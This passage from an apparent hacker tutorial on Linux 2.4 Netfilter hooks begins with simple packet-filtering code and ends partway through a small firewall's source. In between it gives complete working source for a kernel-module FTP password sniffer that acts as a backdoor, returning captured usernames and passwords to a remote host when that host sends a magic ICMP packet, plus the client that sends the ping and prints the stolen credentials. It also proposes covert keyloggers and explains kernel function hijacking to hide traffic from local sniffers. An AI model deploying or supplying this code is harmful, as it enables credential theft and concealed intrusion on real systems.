Now if the source address matches the address we want to drop packets from then the packet is dropped. For this function to work as presented the value of deny_ip should be stored in Network Byte Order (Big‑endian, opposite of Intel). Although it's unlikely that this function will be called with a NULL pointer for it's argument, it never hurts to be a little paranoid. Of course if an error does occur then the function will return NF_ACCEPT so that Netfilter can continue processing the packet. Listing 4 presents the simple module used to demonstrate interface based filtering changed so that it drops packets that match a particular IP address.

Listing 4. Filtering packets based on their source address /* Sample code to install a Netfilter hook function that will

* drop all incoming packets from an IP address we specify */

#define __KERNEL__

#define MODULE

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/ip.h> /* For IP header */

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

/* This is the structure we shall use to register our function */

static struct nf_hook_ops nfho;

/* IP address we want to drop packets from, in NB order */

static unsigned char *drop_ip = "\x7f\x00\x00\x01";

/* This is the hook function itself */

unsigned int hook_func(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

if (sb‑>nh.iph‑>saddr == drop_ip) { printk("Dropped packet from... %d.%d.%d.%d\n", *drop_ip, *(drop_ip + 1),

*(drop_ip + 2), *(drop_ip + 3));

return NF_DROP;

} else {

return NF_ACCEPT;

}

}

/* Initialisation routine */

int init_module()

{

/* Fill in our hook structure */

nfho.hook = hook_func;

/* Handler function */

nfho.hooknum = NF_IP_PRE_ROUTING; /* First for IPv4 */

nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; /* Make our func first */

nf_register_hook(&nfho);

return 0;

}

/* Cleanup routine */

void cleanup_module()

{

nf_unregister_hook(&nfho);

}

‑‑‑‑[ 4.4 ‑ Filtering by TCP port

Another simple rule to implement is the filtering of packets based on their TCP destination port. This is only a bit more fiddly than checking IP addresses because we need to create a pointer to the TCP header ourselves. Remember what was discussed earlier about transport headers and network headers? Getting a pointer to the TCP header is a simple matter of allocating a pointer to a struct tcphdr (define in linux/tcp.h) and pointing after the IP header in our packet data. Perhaps an example would help. Listing 5 presents code to check if the destination TCP port of a packet matches some port we want to drop all packets for. As with listing 3, this was taken from LWFW.

Listing 5. Checking the TCP destination port of a received packet unsigned char *deny_port = "\x00\x19"; /* port 25 */

...

static int check_tcp_packet(struct sk_buff *skb) {

struct tcphdr *thead;

/* We don't want any NULL pointers in the chain

* to the IP header. */

if (!skb ) return NF_ACCEPT;

if (!(skb‑>nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */

if (skb‑>nh.iph‑>protocol != IPPROTO_TCP) { return NF_ACCEPT;

}

thead = (struct tcphdr *)(skb‑>data +

(skb‑>nh.iph‑>ihl * 4));

/* Now check the destination port */

if ((thead‑>dest) == *(unsigned short *)deny_port) { return NF_DROP;

}

return NF_ACCEPT;

}

Very simple indeed. Don't forget that for this function to work deny_port should be in network byte order. That's it for packet filtering basics, you should have a fair understanding of how to get to the information you want for a specific packet. Now it's time to move onto more interesting stuff.

‑‑[ 5 ‑ Other possibilities for Netfilter hooks

Here I'll make some proposals for other cool stuff to do with Netfilter hooks. Section 5.1 will simply provide food for thought, while section 5.2 shall discuss and provide working code for a kernel based FTP password sniffer with remote password retrieval that really does work. It fact it works so well it scares me, and I wrote it.

‑‑‑‑[ 5.1 ‑ Hidden backdoor daemons

Kernel module programming would have to be one of the most interesting areas of development for Linux. Writing code in the kernel means you are writing code in a place where you are limited only by your imagination. From a malicous point of view you can hide files, processes, and do all sorts of cool things that any rootkit worth its salt is capable of. Then from a not‑so‑malicious point of view (yes people with this point of view do exist) you can hide files, processes and do all sorts of cool things. The kernel really is a fascinating place.

Now with all the power made available to a kernel level programmer, there are a lot of possibilities. Possibly one of the most interesting (and scary for system administrators) is the possibility of backdoors built right into the kernel. Afterall, if a backdoor doesn't run as a process then how do you know it's running? Of course there are ways of making your kernel cough‑up such backdoors, but they are by no means as easy and simple as running ps. Now the idea of putting backdoor code into a kernel is not new. What I'm proposing here, however, is placing simple network services as kernel backdoors using, you guessed it, Netfilter hooks.

If you have the necessary skills and willingness to crash your kernel in the name of experimentation, then you can construct simple but useful network services located entirely in the kernel and accessible remotely. Basically a Netfilter hook could watch incoming packets for a "magic" packet and when that magic packet is received, do something special. Results can then be sent from the Netfilter hook and the hook function can return NF_STOLEN so that the received "magic" packet goes no further. Note however, that when sending in such a fassion, outgoing packets will still be visible on the outbound Netfilter hooks. Therefore userspace is totally unaware that the magic packet ever arrived, but they can still see whatever you send out. Beware! Just because a sniffer on a compromised host can't see the packet, doesn't mean that a sniffer on an intermediate host can't see the packet.

kossak and lifeline wrote an excellent article for Phrack describing how such things could be done by registering packet type handlers. Although this document deals with Netfilter hooks I still suggest reading their article (Issue 55, file 12) as it is a very interesting read with some very interesting ideas being presented.

So what kind of work could a backdoor Netfilter hook do? Well, here are some suggestions:

‑‑ Remote access key‑logger. Module logs keystrokes and results are sent to a remote host when that host sends a PING request. So a stream of keystroke information could be made to look like a steady (don't flood) stream of PING replies. Of course one would want to implement a simple encryption so that ASCII keys don't show themselves immediately and some alert system administrator goes "Hang on. I typed that over my SSH session before! Oh $%@T%&!". ‑‑ Various simple administration tasks such as getting lists of who is currently logged onto the machine or obtaining information about open network connections.

‑‑ Not really a backdoor as such, but a module that sits on a network perimeter and blocks any traffic suspected to come from trojans, ICMP covert channels or file sharing tools like KaZaa. ‑‑ File transfer "server". I have implemented this idea recently. The resulting LKM is hours of fun :).

‑‑ Packet bouncer. Redirects packets aimed at a special port on the backdoored host to another IP host and port and sends packets from that host back to the initiator. No process being spawned and best of all, no network socket being opened.

‑‑ Packet bouncer as described above used to communicate with critical systems on a network in a semi‑covert manner. Eg. configuring routers and such.

‑‑ FTP/POP3/Telnet password sniffer. Sniff outgoing passwords and save the information until a magic packet comes in asking for it.

Well that's a short list of ideas. The last one will actually be discussed in more detail in the next section as it provides a nice oppurtunity to look at some more functions internal to the kernel's network code.

‑‑‑‑[ 5.2 ‑ Kernel based FTP password sniffer

Presented here is a simple proof‑of‑concept module that acts as a Netfilter backdoor. This module will sniff outgoing FTP packets looking for a USER and PASS command pair for an FTP server. When a pair is found the module will then wait for a "magic" ICMP ECHO (Ping) packet big enough to return the server's IP address and the username and password. Also provided is a quick hack that sends a magic packet, gets a reply then prints the returned information. Once a username/password pair has been read from the module it will then look for the next pair. Note that only one pair will be stored by the module at one time. Now that a brief overview has been provided, it's time to present a more detailed look at how the module does its thing.

When loaded, the module's init_module() function simply registers two Netfilter hooks. The first one is used to watch incoming traffic (on NF_IP_PRE_ROUTING) in an attempt to find a "magic" ICMP packet. The next one is used to watch traffic leaving the machine (on NF_IP_POST_ROUTING) the module is installed on. This is where the search and capture of FTP USER and PASS packets happens. The cleanup_module() procedure simply unregisters these two hooks.

watch_out() is the function used to hook NF_IP_POST_ROUTING. Looking at this function you can see that it is very simple in operation. When a packet enters the function it is run through various checks to be sure it's an FTP packet. If it's not then a value of NF_ACCEPT is returned immediately. If it is an FTP packet then the module checks to be sure that it doesn't already have a username and password pair already queued. If it does (as signalled by have_pair being non‑zero) then NF_ACCEPT is returned and the packet can finally leave the system. Otherwise, the check_ftp() procedure is called. This is where extraction of passwords actually takes place. If no previous packets have been received then the target_ip and target_port variables should be cleared.

check_ftp() starts by looking for either "USER", "PASS" or "QUIT" at the beginning of the packet. Note that PASS commands will not be processed until a USER command has been processed. This prevents deadlock that occurs if for some reason a PASS command is received first and the connection breaks before USER arrives. Also, if a QUIT command arrives and only a username has been captured then things are reset so sniffing can start over on a new connection. When a USER or PASS command arrives, if the necessary sanity checks are passed then the argument to the command is copied. Just before check_ftp() finishes under normal operations, it checks to see if it now has a valid username and password string. If it does then have_pair is set and no more usernames or passwords will be grabbed until the current pair is retrieved.

So far you have seen how this module installs itself and begins looking for usernames and passwords to log. Now you shall see what happens when the specially formatted "magic" packet arrives. Pay particular attention here because this is where the most problems arose during development. 16 kernel faults if I remember correctly :). When packets come into the machine with this module installed, watch_in() checks each one to see if it is a magic packet. If it does not pass the necessary requirements to be considered magic, then the packet is ignored by watch_in() who simply returns NF_ACCEPT. Notice how one of the criteria for magic packets is that they have enough room to hold the IP address and username and password strings. This is done to make sending the reply easier. A fresh sk_buff could have been allocated, but getting all of the necessary fields right can be difficult and you have to get them right! So instead of creating a new structure for our reply packet, we simply tweak the request packet's structure. To return the packet successfully, several changes need to be made. Firstly, the IP addresses are swapped around and the packet type field of the sk_buff structure (pkt_type) is changed to PACKET_OUTGOING which is defined in linux/if_packet.h. The next thing to take care of is making sure any link layer headers are included. The data field of our received packet's sk_buff points after the link layer header and it is the data field that points to the beginning of packet data to be transmitted. So for interfaces that require the link layer header (Ethernet and Loopback Point‑to‑Point is raw) we point the data field to the mac.ethernet or mac.raw structures. To determine what type of interface this packet came in on, you can check the value of sb‑>dev‑>type where sb is a pointer to a sk_buff structure. Valid values for this field can be found in linux/if_arp.h but the most useful are given below in table 3.

Table 3: Common values for interface types

Type Code Interface Type

ARPHRD_ETHER Ethernet

ARPHRD_LOOPBACK Loopback device

ARPHRD_PPP Point‑to‑point (eg. dialup)

The last thing to be done is actually copy the data we want to send in our reply. It's now time to send the packet. The dev_queue_xmit() function takes a pointer to a sk_buff structure as it's only argument and returns a negative errno code on a nice failure. What do I mean by nice failure? Well, if you give dev_queue_xmit() a badly constructed socket buffer then you will get a not‑so‑nice failure. One that comes complete with kernel fault and kernel stack dump information. See how failures can be splt into two groups here? Finally, watch_in() returns NF_STOLEN to tell Netfilter to forget it ever saw the packet (bit of a Jedi Mind Trick). Do NOT return NF_DROP if you have called dev_queue_xmit()! If you do then you will quickly get a nasty kernel fault. This is because dev_queue_xmit() will free the passed in socket buffer and Netfilter will attempt to do the same with an NF_DROPped packet. Well that's enough discussion on the code, it's now time to actually see the code.

‑‑‑‑‑‑[ 5.2.1 ‑ The code... nfsniff.c

<++> nfsniff/nfsniff.c

/* Simple proof‑of‑concept for kernel‑based FTP password sniffer.

* A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * *AND* the packet has enough

* space after the headers to fit a 4‑byte IP address and the * username and password fields which are a max. of 15 characters * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge, March 2003 */

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/skbuff.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/icmp.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/if_arp.h>

#include <linux/if_ether.h>

#include <linux/if_packet.h>

#define MAGIC_CODE 0x5B

#define REPLY_SIZE 36

#define ICMP_PAYLOAD_SIZE (htons(sb‑>nh.iph‑>tot_len) \ ‑ sizeof(struct iphdr) \

‑ sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until

* they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */

static char *username = NULL;

static char *password = NULL;

static int have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the

* same IP address and TCP port. */

static unsigned int target_ip = 0;

static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */

struct nf_hook_ops pre_hook; /* Incoming */

struct nf_hook_ops post_hook; /* Outgoing */

/* Function that looks at an sk_buff that is known to be an FTP packet.

* Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */

static void check_ftp(struct sk_buff *skb)

{

struct tcphdr *tcp;

char *data;

int len = 0;

int i = 0;

tcp = (struct tcphdr *)(skb‑>data + (skb‑>nh.iph‑>ihl * 4)); data = (char *)((int)tcp + (int)(tcp‑>doff * 4));

/* Now, if we have a username already, then we have a target_ip.

* Make sure that this packet is destined for the same host. */

if (username)

if (skb‑>nh.iph‑>daddr != target_ip || tcp‑>source != target_port) return;

/* Now try to see if this is a USER or PASS packet */

if (strncmp(data, "USER ", 5) == 0) { /* Username */

data += 5;

if (username) return;

while (*(data + i) != '\r' && *(data + i) != '\n'

&& *(data + i) != '\0' && i < 15) {

len++;

i++;

}

if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return;

memset(username, 0x00, len + 2);

memcpy(username, data, len);

*(username + len) = '\0'; /* NULL terminate */

} else if (strncmp(data, "PASS ", 5) == 0) { /* Password */

data += 5;

/* If a username hasn't been logged yet then don't try logging

* a password */

if (username == NULL) return;

if (password) return;

while (*(data + i) != '\r' && *(data + i) != '\n'

&& *(data + i) != '\0' && i < 15) {

len++;

i++;

}

if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return;

memset(password, 0x00, len + 2);

memcpy(password, data, len);

*(password + len) = '\0'; /* NULL terminate */

} else if (strncmp(data, "QUIT", 4) == 0) {

/* Quit command received. If we have a username but no password,

* clear the username and reset everything */

if (have_pair) return;

if (username && !password) {

kfree(username);

username = NULL;

target_port = target_ip = 0;

have_pair = 0;

return;

}

} else {

return;

}

if (!target_ip)

target_ip = skb‑>nh.iph‑>daddr;

if (!target_port)

target_port = tcp‑>source;

if (username && password)

have_pair++; /* Have a pair. Ignore others until

* this pair has been read. */

// if (have_pair)

// printk("Have password pair! U: %s P: %s\n", username, password);

}

/* Function called as the POST_ROUTING (last) hook. It will check for

* FTP traffic then search that traffic for USER and PASS commands. */

static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

struct tcphdr *tcp;

/* Make sure this is a TCP packet first */

if (sb‑>nh.iph‑>protocol != IPPROTO_TCP)

return NF_ACCEPT; /* Nope, not TCP */

tcp = (struct tcphdr *)((sb‑>data) + (sb‑>nh.iph‑>ihl * 4));

/* Now check to see if it's an FTP packet */

if (tcp‑>dest != htons(21))

return NF_ACCEPT; /* Nope, not FTP */

/* Parse the FTP packet for relevant information if we don't already

* have a username and password pair. */

if (!have_pair)

check_ftp(sb);

/* We are finished with the packet, let it go on its way */

return NF_ACCEPT;

}

/* Procedure that watches incoming ICMP traffic for the "Magic" packet.

* When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. */

static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

struct sk_buff *sb = *skb;

struct icmphdr *icmp;

char *cp_data; /* Where we copy data to in reply */

unsigned int taddr; /* Temporary IP holder */

/* Do we even have a username/password pair to report yet? */

if (!have_pair)

return NF_ACCEPT;

/* Is this an ICMP packet? */

if (sb‑>nh.iph‑>protocol != IPPROTO_ICMP)

return NF_ACCEPT;

icmp = (struct icmphdr *)(sb‑>data + sb‑>nh.iph‑>ihl * 4);

/* Is it the MAGIC packet? */

if (icmp‑>code != MAGIC_CODE || icmp‑>type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {

return NF_ACCEPT;

}

/* Okay, matches our checks for "Magicness", now we fiddle with

* the sk_buff to insert the IP address, and username/password pair, * swap IP source and destination addresses and ethernet addresses * if necessary and then transmit the packet from here and tell * Netfilter we stole it. Phew... */

taddr = sb‑>nh.iph‑>saddr;

sb‑>nh.iph‑>saddr = sb‑>nh.iph‑>daddr;

sb‑>nh.iph‑>daddr = taddr;

sb‑>pkt_type = PACKET_OUTGOING;

switch (sb‑>dev‑>type) {

case ARPHRD_PPP: /* No fiddling needs doing */

break;

case ARPHRD_LOOPBACK:

case ARPHRD_ETHER:

{

unsigned char t_hwaddr[ETH_ALEN];

/* Move the data pointer to point to the link layer header */

sb‑>data = (unsigned char *)sb‑>mac.ethernet;

sb‑>len += ETH_HLEN; //sizeof(sb‑>mac.ethernet);

memcpy(t_hwaddr, (sb‑>mac.ethernet‑>h_dest), ETH_ALEN); memcpy((sb‑>mac.ethernet‑>h_dest), (sb‑>mac.ethernet‑>h_source), ETH_ALEN);

memcpy((sb‑>mac.ethernet‑>h_source), t_hwaddr, ETH_ALEN);

break;

}

};

/* Now copy the IP address, then Username, then password into packet */

cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4);

if (username)

memcpy(cp_data + 4, username, 16);

if (password)

memcpy(cp_data + 20, password, 16);

/* This is where things will die if they are going to.

* Fingers crossed... */

dev_queue_xmit(sb);

/* Now free the saved username and password and reset have_pair */

kfree(username);

kfree(password);

username = password = NULL;

have_pair = 0;

target_port = target_ip = 0;

// printk("Password retrieved\n");

return NF_STOLEN;

}

int init_module()

{

pre_hook.hook = watch_in;

pre_hook.pf = PF_INET;

pre_hook.priority = NF_IP_PRI_FIRST;

pre_hook.hooknum = NF_IP_PRE_ROUTING;

post_hook.hook = watch_out;

post_hook.pf = PF_INET;

post_hook.priority = NF_IP_PRI_FIRST;

post_hook.hooknum = NF_IP_POST_ROUTING;

nf_register_hook(&pre_hook);

nf_register_hook(&post_hook);

return 0;

}

void cleanup_module()

{

nf_unregister_hook(&post_hook);

nf_unregister_hook(&pre_hook);

if (password)

kfree(password);

if (username)

kfree(username);

}

<‑‑>

‑‑‑‑‑‑[ 5.2.2 ‑ getpass.c

<++> nfsniff/getpass.c

/* getpass.c ‑ simple utility to get username/password pair from

* the Netfilter backdoor FTP sniffer. Very kludgy, but effective. * Mostly stripped from my source for InfoPig.

*

* Written by bioforge ‑ March 2003 */

#include <sys/types.h>

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <sys/socket.h>

#include <netdb.h>

#include <arpa/inet.h>

#ifndef __USE_BSD

# define __USE_BSD /* We want the proper headers */

#endif

# include <netinet/ip.h>

#include <netinet/ip_icmp.h>

/* Function prototypes */

static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])

{

unsigned char dgram[256]; /* Plenty for a PING datagram */

unsigned char recvbuff[256];

struct ip *iphead = (struct ip *)dgram;

struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src;

struct sockaddr_in addr;

struct in_addr my_addr;

struct in_addr serv_addr;

socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0;

int one = 1;

int *ptr_one = &one;

if (argc < 3) {

fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]); exit(1);

}

/* Get a socket */

if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno));

exit(1);

}

/* set the HDR_INCL option on the socket */

if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) {

close(icmp_sock);

fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno));

exit(1);

}

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);

memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */

iphead‑>ip_hl = 5;

iphead‑>ip_v = 4;

iphead‑>ip_tos = 0;

iphead‑>ip_len = 84;

iphead‑>ip_id = (unsigned short)rand();

iphead‑>ip_off = 0;

iphead‑>ip_ttl = 128;

iphead‑>ip_p = IPPROTO_ICMP;

iphead‑>ip_sum = 0;

iphead‑>ip_src = my_addr;

iphead‑>ip_dst = addr.sin_addr;

/* Now fill in the ICMP fields */

icmphead‑>icmp_type = ICMP_ECHO;

icmphead‑>icmp_code = 0x5B;

icmphead‑>icmp_cksum = checksum(42, (unsigned short *)icmphead);

/* Finally, send the packet */

fprintf(stdout, "Sending request...\n");

if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {

fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno));

return 0;

}

fprintf(stdout, "Waiting for reply...\n");

if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) {

fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno));

close(icmp_sock);

exit(1);

}

iphead = (struct ip *)recvbuff;

icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8),

sizeof (struct in_addr));

fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: %s\n",

(char *)((char *)icmphead + 12));

fprintf(stdout, "Password: %s\n",

(char *)((char *)icmphead + 28));

close(icmp_sock);

return 0;

}

/* Checksum‑generation function. It appears that PING'ed machines don't

* reply to PINGs with invalid (ie. empty) ICMP Checksum fields... * Fair enough I guess. */

static unsigned short checksum(int numwords, unsigned short *buff) {

unsigned long sum;

for(sum = 0;numwords > 0;numwords‑‑)

sum += *buff++; /* add next word, then increment pointer */

sum = (sum >> 16) + (sum & 0xFFFF);

sum += (sum >> 16);

return ~sum;

}

<‑‑>

‑‑[ 6 ‑ Hiding network traffic from Libpcap

This section will briefly describe how the Linux 2.4 kernel can be hacked to make network traffic that matches predefined conditions invisible to packet sniffing software running on the local machine. Presented at the end of this article is working code that will do such a thing for all IPv4 traffic coming from or going to a particular IP address. So let's get started shall we...

‑‑‑‑[ 6.1 ‑ SOCK_PACKET, SOCK_RAW and Libpcap

Some of the most useful software for a system administrator is that which can be classified under the broad title of "packet sniffer". Two of the most common examples of general purpose packet sniffers are tcpdump(1) and Ethereal(1). Both of these applications utilise the Libpcap library (available from [1] along with tcpdump) to capture raw packets. Network Intrusion Detection Systems (NIDS) also make use of the Libpcap library. SNORT requires Libpcap, as does Libnids, a NIDS writing library that provides IP reassembly and TCP stream following and is available from [2].

On Linux systems, the Libpcap library uses the SOCK_PACKET interface. Packet sockets are special sockets that can be used to send and receive raw packets at the link layer. There is a lot that can be said about packet sockets and their use. However, because this section is about hiding from them and not using them, the interested reader is directed to the packet(7) man page. For the discussion here, it is only neccessary to understand that packet sockets are what Libpcap applications use to get the information on raw packets coming into or going out of the machine.

When a packet is received by the kernel's network stack, a check is performed to see if there are any packet sockets that would be interested in this packet. If there are then the packet is delivered to those interested sockets. If not, the packet simply continues on it's way to the TCP, UDP or other socket type that it's truly bound for. The same thing happens for sockets of type SOCK_RAW. Raw sockets are very similar to packet sockets, except they do not provide link layer headers. An example of a utility that utilises raw IP sockets is my SYNalert utility, available at [3] (sorry about the shameless plug there :).

So now you should see that packet sniffing software on Linux uses the Libpcap library. Libpcap utilises the packet socket interface to obtain raw packets with link layers on Linux systems. Raw sockets were also mentioned which act as a way for user space applications to obtain packets complete with IP headers. The next section will discuss how an LKM can be used to hide network traffic from these packet and raw socket interfaces.

‑‑‑‑‑‑[ 6.2 Wrapping the cloak around the dagger

When a packet is received and sent to a packet socket, the packet_rcv() function is called. This function can be found in net/packet/af_packet.c. packet_rcv() is responsible for running the packet through any socket filters that may be applied to the destination socket and then the ultimate delivery of the packet to user space. To hide packets from a packet socket we need to prevent packet_rcv() from being called at all for certain packets. How do we do this? With good ol'‑fashioned function hijacking of course.

The basic operation of function hijacking is that if we know the address of a kernel function, even one that's not exported, we can redirect that function to another location before we allow the real code to run. To do this we first save so many of the original instruction bytes from the beginning of the function and replace them with instruction bytes that perform an absolute jump to our own code. Example i386 assembler to do this is given here:

movl (address of our function), %eax

jmp *eax

The generated hex bytes of these instructions (substituting zero as our function address) are:

0xb8 0x00 0x00 0x00 0x00

0xff 0xe0

If in the initialisation of an LKM we change the function address of zero in the code above to that of our hook function, we can make our hook function run first. When (if) we want to run the original function we simply restore the original bytes at the beginning, call the function and then replace our hijacking code. Simple, but powerful. Silvio Cesare has written a document a while ago detailing kernel function hijacking. See [4] in the references.

Now to hide packets from packet sockets we need to first write the hook function that will check to see if a packet matches our criteria to be hidden. If it does, then our hook function simply returns zero to it's caller and packet_rcv() never gets called. If packet_rcv() never gets called, then the packet is never delivered to the user space packet socket. Note that it is only the *packet* socket that this packet will be dropped on. If we want to filter FTP packets from being sent to packet sockets then the FTP server's TCP socket will still see the packet. All that we've done is made that packet invisible to any sniffer software that may be running on the host. The FTP server will still be able to process and log the connection.

In theory that's all there is too it. The same thing can be done for raw sockets as well. The difference is that we need to hook the raw_rcv() function (net/ipv4/raw.c). The next section will present and discuss source code for an example LKM that will hijack the packet_rcv() and raw_rcv() functions and hide any packets going to or coming from an IP address that we specify.

‑‑[ 7 ‑ Conclusion

Hopefully by now you have at least a basic understanding of what Netfilter is, how to use it and what you can do with it. You should also have the knowledge to hide special network traffic from sniffing software running on the local machine.If you would like a tarball of the sources used for this tutorial then just email me. I would also appreciate any corrections, comments or suggestions. Now I leave it to you and your imagination to do something interesting with what I have presented here.

‑‑[ A ‑ Light‑Weight Fire Wall

‑‑‑‑[ A.1 ‑ Overview

The Light‑Weight Fire Wall (LWFW) is a simple kernel module that demonstrates the basic packet filtering techniques that were presented in section 4.LWFW also provides a control interface through the ioctl() system call.

Because the LWFW source is sufficiently documented I will only provide a brief overview of how it works. When the LWFW module is installed its first task is to try and register the control device. Note that before the ioctl() interface to LWFW can be used, a character device file needs to be made in /dev. If the control device registration succeeds the "in use" marker is cleared and the hook function for NF_IP_PRE_ROUTE is registered. The clean‑up function simply does the reverse of this process.

LWFW provides three basic options for dropping packets. These are, in the order of processing:

‑‑ Source interface

‑‑ Source IP address

‑‑ Destination TCP port

The specifics of these rules are set with the ioctl() interface. When a packet is received LWFW will check it against all the rules which have been set. If it matches any of the rules then the hook function will return NF_DROP and Netfilter will silently drop the packet. Otherwise the hook function will return NF_ACCEPT and the packet will continue on its way.

The last thing worth mentioning is LWFW's statistics logging. Whenever a packet comes into the hook function and LWFW is active the total number of packets seen is incremented. The individual rules checking functions are responsible for incrementing their respective count of dropped packets. Note that when a rule's value is changed its count of dropped packets is reset to zero. The lwfwstats program utilises the LWFW_GET_STATS IOCTL to get a copy of the statistics structure and display it's contents.

‑‑‑‑[ A.2 ‑ The source... lwfw.c

<++> lwfw/lwfw.c

/* Light‑weight Fire Wall. Simple firewall utility based on

* Netfilter for 2.4. Designed for educational purposes.

*

* Written by bioforge ‑ March 2003.

*/

#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/net.h>

#include <linux/types.h>

#include <linux/skbuff.h>

#include <linux/string.h>

#include <linux/malloc.h>

#include <linux/netdevice.h>

#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <asm/errno.h>

#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */

static int set_if_rule(char *name);

static int set_ip_rule(unsigned int ip);

static int set_port_rule(unsigned short port);

static int check_ip_packet(struct sk_buff *skb);

static int check_tcp_packet(struct sk_buff *skb);

static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */

static int lwfw_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg);

static int lwfw_open(struct inode *inode, struct file *file); static int lwfw_release(struct inode *inode, struct file *file);

/* Various flags used by the module */

/* This flag makes sure that only one instance of the lwfw device

* can be in use at any one time. */

static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.

* If this is zero then LWFW automatically allows all packets. */

static int active = 0;

/* Specifies options for the LWFW module */

static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE | LWFW_IP_DENY_ACTIVE

| LWFW_PORT_DENY_ACTIVE);

static int major = 0; /* Control device major number */

/* This struct will describe our hook procedure. */

struct nf_hook_ops nfkiller;

/* Module statistics structure */

static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */

/* TODO: One day LWFW might actually support many simultaneous rules.

* Just as soon as I figure out the list_head mechanism... */

static char *deny_if = NULL; /* Interface to deny */

static unsigned int deny_ip = 0x00000000; /* IP address to deny */

static unsigned short deny_port = 0x0000; /* TCP port to deny */

/*

* This is the interface device's file_operations structure

*/

struct file_operations lwfw_fops = {

NULL,

NULL,

NULL,

NULL,

NULL,

NULL,

lwfw_ioctl,

NULL,

lwfw_open,

NULL,

lwfw_release,

NULL /* Will be NULL'ed from here... */

};

MODULE_AUTHOR("bioforge");

MODULE_DESCRIPTION("Light‑Weight Firewall for Linux 2.4");

/*

* This is the function that will be called by the hook

*/

unsigned int lwfw_hookfn(unsigned int hooknum,

struct sk_buff **skb,

const struct net_device *in,

const struct net_device *out,

int (*okfn)(struct sk_buff *))

{

unsigned int ret = NF_ACCEPT;

/* If LWFW is not currently active, immediately return ACCEPT */

if (!active)

return NF_ACCEPT;

lwfw_statistics.total_seen++;

/* Check the interface rule first */

if (deny_if && DENY_IF_ACTIVE) {

if (strcmp(in‑>name, deny_if) == 0) { /* Deny this interface */

lwfw_statistics.if_dropped++; lwfw_statistics.total_dropped++;

return NF_DROP;

}

}

/* Check the IP address rule */

if (deny_ip && DENY_IP_ACTIVE) {

ret = check_ip_packet(*skb);

if (ret != NF_ACCEPT) return ret;

}

/* Finally, check the TCP port rule */

if (deny_port && DENY_PORT_ACTIVE) {

ret = check_tcp_packet(*skb);

if (ret != NF_ACCEPT) return ret;

}

return NF_ACCEPT; /* We are happy to keep the packet */

}

/* Function to copy the LWFW statistics to a userspace buffer */

static int copy_stats(struct lwfw_stats *statbuff)

{

NULL_CHECK(statbuff);

copy_to_user(statbuff, &lwfw_statistics,

sizeof(struct lwfw_stats));

return 0;

}

/* Function that compares a received TCP packet's destination port

* with the port specified in the Port Deny Rule. If a processing * error occurs, NF_ACCEPT will be returned so that the packet is * not lost. */

static int check_tcp_packet(struct sk_buff *skb)

{

/* Seperately defined pointers to header structures are used

